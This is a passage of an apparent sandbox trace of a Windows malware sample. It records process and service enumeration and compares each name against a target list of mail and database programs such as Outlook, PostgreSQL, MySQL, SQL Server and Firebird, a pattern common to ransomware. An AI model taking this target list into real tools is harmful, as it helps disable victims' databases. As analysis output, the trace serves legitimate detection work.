lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0247.496] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0247.496] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0247.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0247.496] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0247.496] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.497] lstrlenW (lpString="services.exe") returned 12 [0247.497] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0247.497] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0247.498] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.499] lstrlenW (lpString="lsass.exe") returned 9 [0247.499] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0247.500] lstrlenW (lpString="lsm.exe") returned 7 [0247.500] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.501] lstrlenW (lpString="svchost.exe") returned 11 [0247.501] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.502] lstrlenW (lpString="svchost.exe") returned 11 [0247.670] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.671] lstrlenW (lpString="svchost.exe") returned 11 [0247.671] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.672] lstrlenW (lpString="svchost.exe") returned 11 [0247.672] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.673] lstrlenW (lpString="svchost.exe") returned 11 [0247.675] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.676] lstrlenW (lpString="audiodg.exe") returned 11 [0247.676] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.677] lstrlenW (lpString="svchost.exe") returned 11 [0247.692] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.693] lstrlenW (lpString="explorer.exe") returned 12 [0247.693] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.694] lstrlenW (lpString="dwm.exe") returned 7 [0247.694] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.695] lstrlenW (lpString="svchost.exe") returned 11 [0247.695] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0247.696] lstrlenW (lpString="driver.exe") returned 10 [0247.696] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.697] lstrlenW (lpString="spoolsv.exe") returned 11 [0247.697] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0247.698] lstrlenW (lpString="taskhost.exe") returned 12 [0247.698] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.699] lstrlenW (lpString="svchost.exe") returned 11 [0247.699] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0247.700] lstrlenW (lpString="reader_sl.exe") returned 13 [0247.700] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0247.701] CloseHandle (hObject=0x384) returned 1 [0247.701] Sleep (dwMilliseconds=0x1f4) [0248.614] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0248.615] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0248.616] GetLastError () returned 0xea [0248.616] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x113e) returned 0x424e078 [0248.616] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x424e078, cbBufSize=0x113e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x424e078, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0248.617] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0248.618] lstrlenW (lpString="Appinfo") returned 7 [0248.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0248.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0248.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0248.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0248.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0248.618] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0248.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0248.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0248.618] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0248.618] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0248.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0248.618] lstrlenW (lpString="AudioSrv") returned 8 [0248.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0248.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0248.619] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0248.619] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0248.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0248.619] lstrlenW (lpString="BFE") returned 3 [0248.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0248.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0248.619] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0248.619] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0248.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0248.619] lstrlenW (lpString="CryptSvc") returned 8 [0248.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0248.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0248.620] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0248.620] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0248.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0248.620] lstrlenW (lpString="CscService") returned 10 [0248.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0248.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0248.620] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0248.620] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0248.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0248.620] lstrlenW (lpString="DcomLaunch") returned 10 [0248.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0248.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0248.620] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0248.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0248.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0248.621] lstrlenW (lpString="Dhcp") returned 4 [0248.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0248.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0248.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0248.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0248.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0248.621] lstrlenW (lpString="Dnscache") returned 8 [0248.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0248.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0248.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0248.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0248.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0248.622] lstrlenW (lpString="DPS") returned 3 [0248.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0248.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0248.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0248.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0248.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0248.622] lstrlenW (lpString="eventlog") returned 8 [0248.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0248.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0248.622] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0248.622] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0248.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0248.623] lstrlenW (lpString="EventSystem") returned 11 [0248.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0248.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0248.623] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0248.623] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0248.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0248.623] lstrlenW (lpString="gpsvc") returned 5 [0248.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0248.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0248.623] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0248.623] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0248.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0248.624] lstrlenW (lpString="iphlpsvc") returned 8 [0248.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0248.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0248.624] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0248.624] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0248.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0248.624] lstrlenW (lpString="LanmanServer") returned 12 [0248.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0248.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0248.624] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0248.624] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0248.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0248.624] lstrlenW (lpString="LanmanWorkstation") returned 17 [0248.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0248.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0248.625] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0248.625] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0248.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0248.625] lstrlenW (lpString="lmhosts") returned 7 [0248.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0248.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0248.625] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0248.625] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0248.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0248.625] lstrlenW (lpString="MMCSS") returned 5 [0248.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0248.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0248.626] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0248.626] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0248.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0248.626] lstrlenW (lpString="MpsSvc") returned 6 [0248.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0248.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0248.627] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0248.627] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0248.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0248.627] lstrlenW (lpString="Netman") returned 6 [0248.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0248.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0248.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0248.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0248.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0248.627] lstrlenW (lpString="netprofm") returned 8 [0248.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0248.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0248.628] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0248.628] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0248.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0248.628] lstrlenW (lpString="NlaSvc") returned 6 [0248.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0248.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0248.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0248.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0248.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0248.628] lstrlenW (lpString="nsi") returned 3 [0248.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0248.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0248.629] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0248.629] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0248.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0248.629] lstrlenW (lpString="PcaSvc") returned 6 [0248.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0248.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0248.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0248.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0248.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0248.629] lstrlenW (lpString="PlugPlay") returned 8 [0248.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0248.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0248.630] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0248.630] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0248.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0248.630] lstrlenW (lpString="Power") returned 5 [0248.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0248.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0248.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0248.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0248.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0248.630] lstrlenW (lpString="ProfSvc") returned 7 [0248.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0248.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0248.630] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0248.630] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0248.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0248.631] lstrlenW (lpString="RpcEptMapper") returned 12 [0248.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0248.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0248.631] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0248.631] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0248.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0248.631] lstrlenW (lpString="RpcSs") returned 5 [0248.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0248.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0248.631] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0248.631] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0248.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0248.631] lstrlenW (lpString="SamSs") returned 5 [0248.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0248.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0248.632] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0248.632] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0248.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0248.632] lstrlenW (lpString="Schedule") returned 8 [0248.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0248.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0248.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0248.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0248.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0248.632] lstrlenW (lpString="SENS") returned 4 [0248.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0248.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0248.632] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0248.633] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0248.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0248.633] lstrlenW (lpString="ShellHWDetection") returned 16 [0248.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0248.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0248.633] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0248.633] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0248.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0248.633] lstrlenW (lpString="Spooler") returned 7 [0248.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0248.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0248.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0248.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0248.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0248.634] lstrlenW (lpString="SysMain") returned 7 [0248.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0248.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0248.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0248.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0248.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0248.634] lstrlenW (lpString="Themes") returned 6 [0248.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0248.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0248.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0248.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0248.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0248.634] lstrlenW (lpString="TrkWks") returned 6 [0248.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0248.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0248.635] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0248.635] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0248.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0248.635] lstrlenW (lpString="UxSms") returned 5 [0248.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0248.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0248.635] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0248.635] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0248.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0248.635] lstrlenW (lpString="WdiServiceHost") returned 14 [0248.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") 